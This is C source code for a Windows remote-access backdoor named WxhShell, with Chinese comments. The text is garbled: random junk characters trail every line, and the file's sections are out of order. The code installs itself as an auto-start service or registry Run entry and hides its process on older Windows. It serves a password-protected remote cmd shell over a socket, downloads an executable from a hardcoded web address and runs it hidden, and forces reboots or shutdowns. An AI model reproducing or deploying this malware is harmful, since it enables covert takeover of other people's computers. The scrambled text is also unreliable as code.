    if(Boot(SHUTDOWN)) ~|d?o5W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Q/O[6  
    else { Z.Y8z#[xg  
    closesocket(wsh); <h>fip3o  
    ExitThread(0); 9mtC"M<   
    } O!cO/]<  
    break; D `3yv R  
    } `fE:5y  
  // 获取shell =|t1eSzc  
  case 's': { 7^}Z%c  
    CmdShell(wsh); hdDI%3vk3  
    closesocket(wsh); V\lF:3C  
    ExitThread(0); p.7p,CyB  
    break; C4d1*IQk  
  } (HgdmN%  
  // 退出 *} 4;1OVT  
  case 'x': { '`VO@a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )$.9Wl Q  
    CloseIt(wsh); 9Yne=R/]  
    break; WQ`P^5e  
    } 6B P%&RL  
  // 离开 .TU15AAc  
  case 'q': { F>{uB!!L4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z s!q#qM  
    closesocket(wsh); \e vgDZf  
    WSACleanup(); ~9 nrS9)  
    exit(1); RR {9  
    break; 8y )i,"  
        } BiAcjN:Z  
  } *VAi!3Rx;  
  } d`*vJ#$> 2  
KUV{]?'  
  // 提示信息 JugQ +0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  C3Z(k}  
} 4SO{cs t  
  } eh=bClk  
^8t*WphZC  
  return; u9%:2$[  
} 1KEPD@0oxx  
|-?b)yuAz  
// shell模块句柄 $9b6,Y_-  
int CmdShell(SOCKET sock) NWcF9z%@  
{ :~(^b;yhZ  
STARTUPINFO si; wn.0U  
ZeroMemory(&si,sizeof(si)); SQRz8,sqkw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L^Af3]]2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S!c@6&XJm?  
PROCESS_INFORMATION ProcessInfo; z(a:fL{/XG  
char cmdline[]="cmd"; p`ZGV97  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?Io2lFvI@Y  
  return 0; pEP.^[  
} CF4y$aC#  
Z ISd0hV  
// 自身启动模式 jP]'gQ!-w  
int StartFromService(void) 4WnxJ]5`  
{ Y`RfE  
typedef struct 79fg%cSb  
{ 1 1'Tt!  
  DWORD ExitStatus; #.aLx$"a  
  DWORD PebBaseAddress; 9dv~WtH>5  
  DWORD AffinityMask; 9tgkAU`  
  DWORD BasePriority; 1A *8Jnw  
  ULONG UniqueProcessId; [!$>:_Vq/  
  ULONG InheritedFromUniqueProcessId; 1Sr}2@>  
}   PROCESS_BASIC_INFORMATION; W6>uLMUa  
`_ L|I s=n  
PROCNTQSIP NtQueryInformationProcess; [J#(k`@  
pu#<qD*w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [Hf FC3U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sa ?;D  
gr7_oJ:R  
  HANDLE             hProcess; 2y,wN"qH*  
  PROCESS_BASIC_INFORMATION pbi; i vk|-C'\  
 glUP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vUA,`  
  if(NULL == hInst ) return 0; R&p53n  
_Fjv.VQ,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _XtY/7n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P&VI2k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  0]HI c  
tIw4V^'|  
  if (!NtQueryInformationProcess) return 0; cm<3'#~Q?  
[8n4lE[)"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .BvV[`P  
  if(!hProcess) return 0; 3@J wL{C  
$+j )  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |d8o<Q  
}"v "^5  
  CloseHandle(hProcess); im"v75 tc  
x$*OglaS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dX*PR3I-3  
if(hProcess==NULL) return 0; :csLZqn[  
FE.:h'^h  
HMODULE hMod; :KwYuwYS  
char procName[255]; >E#4mm  
unsigned long cbNeeded;  LvaF4Y2v  
ijfT!W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |BR&p)7)  
H{If\B%1t  
  CloseHandle(hProcess); 3yDvr*8-@  
H^~!t{\  
if(strstr(procName,"services")) return 1; // 以服务启动 :1Ay_ b_J  
T^ -RP  
  return 0; // 注册表启动 VlH9ap  
} #+$z`C`  
mb/Y  
// 主模块 1x]G/I*  
int StartWxhshell(LPSTR lpCmdLine) H4U;~)i  
{ dJk.J9Z  
  SOCKET wsl; a"EXR-+8  
BOOL val=TRUE; 6k-]2,\#  
  int port=0; G|V ^C_:  
  struct sockaddr_in door; lxbZM9A2  
v?}/WKe+0  
  if(wscfg.ws_autoins) Install(); mYZH]oo  
"dIoIW  
port=atoi(lpCmdLine); Kgcg:r:  
Mw< 1  
if(port<=0) port=wscfg.ws_port; D .E>Y  
RSy1 wp4W  
  WSADATA data; H|P.q{(G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?U&onGy  
0 }q/VH57  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a83o (9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HG3jmI+u>  
  door.sin_family = AF_INET; y<Z8+/f`f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3+IS7ATn  
  door.sin_port = htons(port); ^7=yjD`  
^#;2 Pd>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8YCtU9D  
closesocket(wsl); !5pp A  
return 1; *0Fn C2W1  
} G'!Hc6OZ  
ezFyd'P  
  if(listen(wsl,2) == INVALID_SOCKET) { oo`mVRVf  
closesocket(wsl); kIQMIL0+  
return 1; |3s-BKbN4  
} WKP=[o^  
  Wxhshell(wsl); W Qe>1   
  WSACleanup(); rN OwB2e  
VF;%Z  
return 0; \SyfEcSf2v  
%ePInpb  
} ,w c|YI)E  
M>-x\[n+  
// 以NT服务方式启动 PM ,I?lJ,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~zi&u46  
{ gmt`_Dpm$  
DWORD   status = 0; Nq-qks.&  
  DWORD   specificError = 0xfffffff; .7{,u1N'  
k |M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %G>*Pez %  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fAXF_wj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~r+;i,,X  
  serviceStatus.dwWin32ExitCode     = 0; VP5_Y1e7  
  serviceStatus.dwServiceSpecificExitCode = 0; u`7\o~$  
  serviceStatus.dwCheckPoint       = 0; k]w;(<  
  serviceStatus.dwWaitHint       = 0; .- uH ax0  
Ea 0 j}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); </Ja@%  
  if (hServiceStatusHandle==0) return; ("ql//SL  
p v%`aQ]o{  
status = GetLastError(); 5!-'~W  
  if (status!=NO_ERROR) Sw%^&*J  
{ Nn>Oq+:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  K<6)SL4  
    serviceStatus.dwCheckPoint       = 0; [Q6PFdQ_JT  
    serviceStatus.dwWaitHint       = 0; xbsp[0I,  
    serviceStatus.dwWin32ExitCode     = status; =HH}E/9z  
    serviceStatus.dwServiceSpecificExitCode = specificError; CN+[|Mz*p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G*JasHFs  
    return; 8\P!47'q  
  } 6C7|e00v  
!o1+#DL)MU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =~15q=XY0  
  serviceStatus.dwCheckPoint       = 0; }}G`yfs}r  
  serviceStatus.dwWaitHint       = 0; LR%]4$ /M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }fU"s"  
} +XMKRt  
gw O]U=Y  
// 处理NT服务事件,比如:启动、停止 #%5[8~&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zsOOx% +  
{ =^3 Z L  
switch(fdwControl) > &tmdE  
{ zO)Bf(  
case SERVICE_CONTROL_STOP: 1L3 +KD~  
  serviceStatus.dwWin32ExitCode = 0; RA^6c![  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (J} tCqP  
  serviceStatus.dwCheckPoint   = 0; NAgm?d  
  serviceStatus.dwWaitHint     = 0; 5d|hP4fEc  
  { m9Xauk$(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >= O5=\`  
  } D6N 32q@  
  return; Zmx[:-  
case SERVICE_CONTROL_PAUSE: l_$ le  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7G':h0i8  
  break; ;Vv.$mI  
case SERVICE_CONTROL_CONTINUE: ;T hn C>U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ndmki 7A  
  break; }-/oL+j  
case SERVICE_CONTROL_INTERROGATE:  9q[ d?1  
  break; <~z@G MQCf  
}; LiyR,e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9KCeKT>v  
} JIatRc?g  
Fzmc#?  
// 标准应用程序主函数 4LXC;gZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <P@ "VwUX  
{ >lkjoEVQ  
9s4>hw@u  
// 获取操作系统版本 }y>/#]X  
OsIsNt=GetOsVer(); 5Sz&j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'IQ;; [Q  
lK Ry4~O  
  // 从命令行安装 `g vd 8^  
  if(strpbrk(lpCmdLine,"iI")) Install(); IE:;`e:\D  
R!>l7p/|H)  
  // 下载执行文件 W4#E&8g%  
if(wscfg.ws_downexe) { X?7s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OE/r0C<&  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~P fk   
} L_5o7~`0  
+8}8b_bgH  
if(!OsIsNt) { /lLG|aAe  
// 如果时win9x,隐藏进程并且设置为注册表启动 (j&7`9<5  
HideProc(); m`&6[[)6~  
StartWxhshell(lpCmdLine); V~7Oa2'#B  
} t=IM"ZgfL  
else D\Fu4Eg  
  if(StartFromService()) ]D_ AZI  
  // 以服务方式启动 PG{"GiZz=  
  StartServiceCtrlDispatcher(DispatchTable); x-T7 tr&(  
else !-Uq#Ea0/  
  // 普通方式启动 =>*9"k%m  
  StartWxhshell(lpCmdLine); Ssd7]G+n:  
|@rYh-5  
return 0; OzV|z/R2'  
} 5Z_aN|Xn  
ow9Vj$m  
]RuH6d2d|  
P\3H<?@4  
=========================================== $-uMWJ)l  
:+<GJj_d+  
\ccCrDz  
snVeOe#'S  
(,['6k<  
|?LUt@r;  
" Q[ .d  
P G*FIRDb  
#include <stdio.h> Bg}(Sy  
#include <string.h> i%otvDn1  
#include <windows.h> Fv3:J~Yf  
#include <winsock2.h> 4EFP*7X  
#include <winsvc.h> ^ =RSoR  
#include <urlmon.h> ; Rd\yAG  
g&L $5  
#pragma comment (lib, "Ws2_32.lib") &$.x1$%  
#pragma comment (lib, "urlmon.lib") Ts 3(,Y  
M5l*D'GE]  
#define MAX_USER   100 // 最大客户端连接数 ;aUI3n%  
#define BUF_SOCK   200 // sock buffer -0:B2B  
#define KEY_BUFF   255 // 输入 buffer Zq>}SR  
m NApFwZ  
#define REBOOT     0   // 重启 ATf{;S}  
#define SHUTDOWN   1   // 关机 6T=zHFf~  
*,oZ]!   
#define DEF_PORT   5000 // 监听端口 21G:!t4/?n  
&Qq4xn+J  
#define REG_LEN     16   // 注册表键长度 Ia>>b #h  
#define SVC_LEN     80   // NT服务名长度 .@;,'Xw1~  
be5NasC  
// 从dll定义API Z|a\rNv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5&X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j^%i?BWw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y9*H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  +rT(  
#dpt=  
// wxhshell配置信息 Yip9K[  
struct WSCFG { YQ]H3GA  
  int ws_port;         // 监听端口 4{vd6T}V!  
  char ws_passstr[REG_LEN]; // 口令 tJwF h6  
  int ws_autoins;       // 安装标记, 1=yes 0=no $k`8Zx w  
  char ws_regname[REG_LEN]; // 注册表键名 @Qs-A^.  
  char ws_svcname[REG_LEN]; // 服务名 4o*V12_r'4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =O;SXzgE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R&4E7wrdP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vd?v"2S(9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6#KI? 6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R{[Q+y'E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zJnVO$A'  
0wkLM-lN  
}; Qi[D&47XO  
*SY4lqN  
// default Wxhshell configuration mNeW|3a  
struct WSCFG wscfg={DEF_PORT, t3GK{X  
    "xuhuanlingzhe", T8441qo{>  
    1, 9/$P_Q:3  
    "Wxhshell", xI<dBg|]+  
    "Wxhshell", yhdG 93  
            "WxhShell Service", O2,g]t~C  
    "Wrsky Windows CmdShell Service", Qwa"AY 5pW  
    "Please Input Your Password: ", J:lwq@u  
  1, -*lP1Nbp  
  "http://www.wrsky.com/wxhshell.exe", ? g{,MP5  
  "Wxhshell.exe" ->hxHr`!%a  
    }; z`5I 1#PVA  
+lT]s#Fif  
// 消息定义模块 e\_6/j7'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9Bk}g50$#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7S2F^,w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N1!5J(V4  
char *msg_ws_ext="\n\rExit."; Tqa4~|6  
char *msg_ws_end="\n\rQuit."; "J5Pwvs-  
char *msg_ws_boot="\n\rReboot..."; %'T>kz*A  
char *msg_ws_poff="\n\rShutdown..."; iy82QNe  
char *msg_ws_down="\n\rSave to "; zsXH{atY  
j_yFH#^W:  
char *msg_ws_err="\n\rErr!"; 'q'Y:A?,  
char *msg_ws_ok="\n\rOK!"; (A'q@-XQ  
IJc#)J.2A  
char ExeFile[MAX_PATH]; W-PZE|<  
int nUser = 0; r65NKiQD  
HANDLE handles[MAX_USER]; Cj1UD;  
int OsIsNt; E@jl: -*E  
IVzA>Vd  
SERVICE_STATUS       serviceStatus; gwaC?tf[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'B5J.Xe:  
'<=MhNh\  
// 函数声明 D Ok^ON  
int Install(void); C)96/k  
int Uninstall(void); $ XsQ e  
int DownloadFile(char *sURL, SOCKET wsh); J8v:a`bX&  
int Boot(int flag); =P;;&j3Z  
void HideProc(void); z){UuiUM+=  
int GetOsVer(void); /Tf*d>Yh;  
int Wxhshell(SOCKET wsl); DVoV:pk  
void TalkWithClient(void *cs); q uGPk)c  
int CmdShell(SOCKET sock); w52HN;Jm  
int StartFromService(void); UeQ9G  
int StartWxhshell(LPSTR lpCmdLine); ;~:Ryl M  
, q@(L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FJ%R3N\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Fl+tbF  
3zA=q[C  
// 数据结构和表定义 KvJP(!{  
SERVICE_TABLE_ENTRY DispatchTable[] = d)GkXll1D  
{  mz VuQ  
{wscfg.ws_svcname, NTServiceMain}, 5-5(`OZ{'  
{NULL, NULL} uU ?37V  
}; aHPSnB&  
9MtJo.A  
// 自我安装 x$5nLS2.  
int Install(void) 8@W/43K8-  
{ 9 /Ai(  
  char svExeFile[MAX_PATH]; c7l!G~yx'  
  HKEY key; svq9@!go  
  strcpy(svExeFile,ExeFile); spU!t-n67  
%I|+_ z&x  
// 如果是win9x系统,修改注册表设为自启动 gKs/T'PW  
if(!OsIsNt) { a._^E/EV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z}K.^\S9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -0KbdHIKb'  
  RegCloseKey(key); ] EVe@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .i3lG( YG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -l40)^ E}  
  RegCloseKey(key); wKi}@|0[@  
  return 0; 4gv.E 0Fo  
    } _8x'GK tU  
  } uzVG q!'H  
}  *_ {l  
else { p'Y&Z?8  
y= oVUsG  
// 如果是NT以上系统,安装为系统服务 h=K36a)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a*W_fxb  
if (schSCManager!=0) z)ft3(!  
{ s0 \f9D  
  SC_HANDLE schService = CreateService n?ZL"!$  
  ( }rKJeOo^x?  
  schSCManager, Fi?32e4KI5  
  wscfg.ws_svcname, ]F"(OWW  
  wscfg.ws_svcdisp, :_o] F  
  SERVICE_ALL_ACCESS, SG dfhno;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &O+sK4 P  
  SERVICE_AUTO_START, ;o-\.=l  
  SERVICE_ERROR_NORMAL, WA]%,6  
  svExeFile, KdOh'OrT9.  
  NULL, !"`@sd~  
  NULL, 9S:{  
  NULL, x9x#'H3  
  NULL,  .6O52E  
  NULL zp7V\W; &  
  ); i\kTm?BQZ  
  if (schService!=0) d]O_E4X*  
  { u%6Irdx  
  CloseServiceHandle(schService); %XEKhy  
  CloseServiceHandle(schSCManager); H Z;ZjC*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zdxT35h  
  strcat(svExeFile,wscfg.ws_svcname); Je#!Wd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E^Q@9C<!d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G$?|S@I,  
  RegCloseKey(key); 1s{ISWm  
  return 0; F[>7z3I  
    } T-L|Q,-{-  
  } `ir&]jh.A  
  CloseServiceHandle(schSCManager); UJee&4C-y  
} w)45SZ.  
} uL2"StW  
^=eq .(>  
return 1; ;]2 x  
} SQq6X63 \  
(H&@u9K?a?  
// 自我卸载 1 L+=|*:  
int Uninstall(void) vS7/~:C  
{ ?j1_ n,d  
  HKEY key; 6OfdD.y  
^y:FjQC:  
if(!OsIsNt) { +68+PhHF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hu<p?mF#  
  RegDeleteValue(key,wscfg.ws_regname); cqeR<len  
  RegCloseKey(key); 1*Sr5N[=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 54<6Dy f  
  RegDeleteValue(key,wscfg.ws_regname);  DZ^=*.  
  RegCloseKey(key); w+q?T  
  return 0; LYp'vZ!  
  } RS'} nY}  
} Q m $(  
} 92!JKZe  
else { kt :)W])V  
%PzQ\c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3DH.4@7P  
if (schSCManager!=0) U);OR  
{ ([Ebsj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (YIhTSL"]  
  if (schService!=0) g]za"U|g  
  { Ejq=*UOP  
  if(DeleteService(schService)!=0) { +L0J_.5%^  
  CloseServiceHandle(schService); Yj) e$f  
  CloseServiceHandle(schSCManager); Wdo#?@m  
  return 0; UV4u.7y  
  } ]pWP?Ws  
  CloseServiceHandle(schService); )%s +?  
  } CD}Ns  
  CloseServiceHandle(schSCManager); NH'iR!iGo  
} <{giHT  
} k5a\Sq}  
qbXz7s*{  
return 1; yLW/ -%I#u  
} :lK4 db  
VpSEVd:n  
// 从指定url下载文件 1i u =Y  
int DownloadFile(char *sURL, SOCKET wsh)  Vu [:A  
{ >\Z R*CS  
  HRESULT hr; l)Zs-V!M^\  
char seps[]= "/"; |6%.VY2b  
char *token; -u|l}}bh  
char *file; O6iCZ  
char myURL[MAX_PATH]; |z~LzSJv  
char myFILE[MAX_PATH]; &8sV o@Pa  
:mpiAs<%U"  
strcpy(myURL,sURL); RZO5=L9E  
  token=strtok(myURL,seps); !9r:&n.\  
  while(token!=NULL) 9= V>f )R  
  { H] k'?;  
    file=token; f7J,&<<5w  
  token=strtok(NULL,seps); wVqd$nsY"  
  } Pr+~Kif  
.$ Bwb/a  
GetCurrentDirectory(MAX_PATH,myFILE); pUCK-rL  
strcat(myFILE, "\\"); dig~J\  
strcat(myFILE, file); xQu eE{  
  send(wsh,myFILE,strlen(myFILE),0); WA.AFt  
send(wsh,"...",3,0); 0@)%h&mD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r7 VXeoX  
  if(hr==S_OK) 4DLq}v  
return 0; 7 ({=*  
else h1+ hds+  
return 1; ?t rV72D  
xd8 *<,Wj  
} n#*`!#  
59*M"1['Q  
// 系统电源模块 u@=?#a$$  
int Boot(int flag) f v LC_'M  
{ MJ\[Dt  
  HANDLE hToken; jtKn3m7 +p  
  TOKEN_PRIVILEGES tkp; E'c%d[:H,  
z^W$%G  
  if(OsIsNt) { ksWSMxm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4 tXSYHd3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0JY WrPR  
    tkp.PrivilegeCount = 1; |dmh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _+w/ pS`M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o }@n>R  
if(flag==REBOOT) { $h28(K%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xx8U$,Ng  
  return 0; ?Zz'|.l@  
} v6uxxsI>Hm  
else { eW8[I'v_&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K`k'}(vj  
  return 0; #c Kqnk  
} ^J x$t/t  
  } lKV"Mh+6  
  else { uDuF#3 +"  
if(flag==REBOOT) { RuAlB*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [-w@.^:]X  
  return 0; >V;,#5F_  
} w'ybbv{c  
else { F#V q#|_)>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I&]G   
  return 0; Z1,gtl ?  
} =_pwA:z"A  
} :w-`PY J%G  
9dKul,c  
return 1; uS5o?fg\e  
} I cF@F>>  
v[S-Pi1  
// win9x进程隐藏模块 0 bSA_  
void HideProc(void) ~OFvu}]  
{ Y=B3q8l5  
O\beKBT;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6yIvaY$KR  
  if ( hKernel != NULL ) GJQc!cqk  
  { BzbDZV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;b%{ilx:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %mI~ =^za  
    FreeLibrary(hKernel); XZph%j0o  
  } %XRN]tsu  
qfL-r,XS`F  
return; "pvZ,l>8f  
} & 0v.E"0<  
eaZQ2  
// 获取操作系统版本 5cfA;(H  
int GetOsVer(void) L-h$Z0]_F  
{ ,=%nw]:  
  OSVERSIONINFO winfo; Dy9\O77>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?y7w}W  
  GetVersionEx(&winfo); }NmNanW^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (GU9p>2  
  return 1; pR$6,Vi  
  else 0Xl%uF+w  
  return 0; +]!lS7nsW  
} \7 a4uc  
Tj/GClD:%  
// 客户端句柄模块 .YcN S%  
int Wxhshell(SOCKET wsl) ~!:0iFE&H  
{ gA^q^>7  
  SOCKET wsh; ;5S}~+j  
  struct sockaddr_in client; xAdq+$><  
  DWORD myID; 8k!6b\Imz  
B@K[3  
  while(nUser<MAX_USER) SS3-+<z  
{ < K %j  
  int nSize=sizeof(client);  v[,Src  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T1 MY X  
  if(wsh==INVALID_SOCKET) return 1; _" N\b%CkO  
_j ;3-m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /9hR  
if(handles[nUser]==0)  tFh|V pB  
  closesocket(wsh); +!O- kd  
else 9f+RAN(  
  nUser++; shFc[A,r}  
  } :7b-$fm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NGTe4Crx  
RUXCq`)"<  
  return 0; 3Sh+u>w  
} h4`9Cfrq,  
"yh Pm  
// 关闭 socket ?]!vRmZ;  
void CloseIt(SOCKET wsh) ^R_e  
{ ?0vNEz[  
closesocket(wsh); TSto9 $}*  
nUser--; V2 `> ]/|  
ExitThread(0); S+I^!gT  
} a6nlt? 1?D  
HeIS;gfUY  
// 客户端请求句柄 kQIw/@WC  
void TalkWithClient(void *cs) U{#xW  
{ \ P/W8{  
&Ocu#Cb  
  SOCKET wsh=(SOCKET)cs; C0m\SNR  
  char pwd[SVC_LEN]; +zO]N&  
  char cmd[KEY_BUFF]; +{-]P\oc  
char chr[1]; Tov&68A~e  
int i,j; T33|';k  
Gp|JU Fo  
  while (nUser < MAX_USER) { .6T4z7I  
8(lCi$  
if(wscfg.ws_passstr) { p\D >z("  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {LB`)Kuu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yj8&  
  //ZeroMemory(pwd,KEY_BUFF); <GfVMD  
      i=0; #7W.s!#}Dd  
  while(i<SVC_LEN) { o# {#r@,i  
<\D Uo0]J  
  // 设置超时 MSYN1  
  fd_set FdRead; gWu"91Y0>  
  struct timeval TimeOut; e_.~n<=  
  FD_ZERO(&FdRead); - L`7+  
  FD_SET(wsh,&FdRead); <}2A=~ _  
  TimeOut.tv_sec=8; 1t2cY;vJ  
  TimeOut.tv_usec=0; @ ;J|xkJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d*9j77C]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P"Rk?lL  
cx:jUsb6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P>W8V+l![  
  pwd=chr[0]; J/7 u7_  
  if(chr[0]==0xd || chr[0]==0xa) { cYD1~JX.  
  pwd=0; {6tx,;r(F  
  break; H%T3Pc  
  } Q9q9<J7j$  
  i++; C$y fMK,,N  
    } +/_!P;I  
*NjMb{[ZQ  
  // 如果是非法用户,关闭 socket V*uEJ6T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); STRyW Ml  
} Y-7.Vjt^  
Iq@IUFpc7~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U]mO7HK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4^BLSK~(  
d-i&k(M  
while(1) { ?a8nz, zb  
TP^\e_k  
  ZeroMemory(cmd,KEY_BUFF); +}Auk|>Dc  
GiFf0c 9  
      // 自动支持客户端 telnet标准   v6(,Ax&  
  j=0; C64eDX^  
  while(j<KEY_BUFF) { `|NevpXY1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;<~j)8  
  cmd[j]=chr[0]; h!~|6nj  
  if(chr[0]==0xa || chr[0]==0xd) { *<;&>w8  
  cmd[j]=0; GdL4|xv  
  break; {AtfK>D  
  } #Z#_!o  
  j++; 5 u"nxT   
    } LsUFz_  
n *Q4G}p  
  // 下载文件 _i#@t7  
  if(strstr(cmd,"http://")) { HMFl/%z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8L@UB6b\  
  if(DownloadFile(cmd,wsh)) ( / G)"]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8UlB~fVg  
  else R|6RI}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 18J.vcP  
  } )m oo?Q  
  else { \qRjXadj  
